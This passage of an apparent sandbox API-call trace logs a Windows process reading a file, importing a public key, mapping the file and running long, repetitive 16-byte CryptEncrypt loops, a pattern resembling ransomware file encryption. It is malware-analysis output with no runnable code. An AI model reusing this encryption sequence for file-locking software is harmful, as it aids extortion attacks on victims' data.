dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.770] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=39320) returned 1 [0068.770] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x9474, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.770] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0068.770] GetTickCount () returned 0x115179b [0068.770] GetTickCount () returned 0x115179b [0068.770] GetTickCount () returned 0x115179b [0068.770] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.771] GetTickCount () returned 0x115179b [0068.772] GetTickCount () returned 0x115179b [0068.772] GetTickCount () returned 0x115179b [0068.772] GetTickCount () returned 0x115179b [0068.772] GetTickCount () returned 0x115179b [0068.772] GetTickCount () returned 0x115179b [0068.772] GetTickCount () returned 0x115179b [0068.772] GetTickCount () returned 0x115179b [0068.772] GetTickCount () returned 0x115179b [0068.772] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163b970) returned 1 [0068.772] CryptImportKey (in: hProv=0x163b970, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639628) returned 1 [0068.773] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0068.773] CryptDestroyKey (hKey=0x1639628) returned 1 [0068.773] CryptReleaseContext (hProv=0x163b970, dwFlags=0x0) returned 1 [0068.774] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9998, lpName=0x0) returned 0x3a4 [0068.774] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9998) returned 0x3430000 [0068.774] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163c498) returned 1 [0068.775] CryptImportKey (in: hProv=0x163c498, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639a28) returned 1 [0068.775] CryptSetKeyParam (hKey=0x1639a28, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0068.775] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0068.775] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.775] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.775] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.775] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.775] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.775] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.775] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.776] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.777] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.778] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.778] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.778] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.778] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.778] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.778] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.778] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.778] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.778] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.778] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.778] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.778] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.778] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.779] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.780] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.780] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.780] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.780] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.780] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.780] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.780] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.780] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.780] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.780] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.780] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.780] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.780] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.781] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.781] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.781] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.781] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.781] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.781] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.781] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.781] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.781] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.781] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, 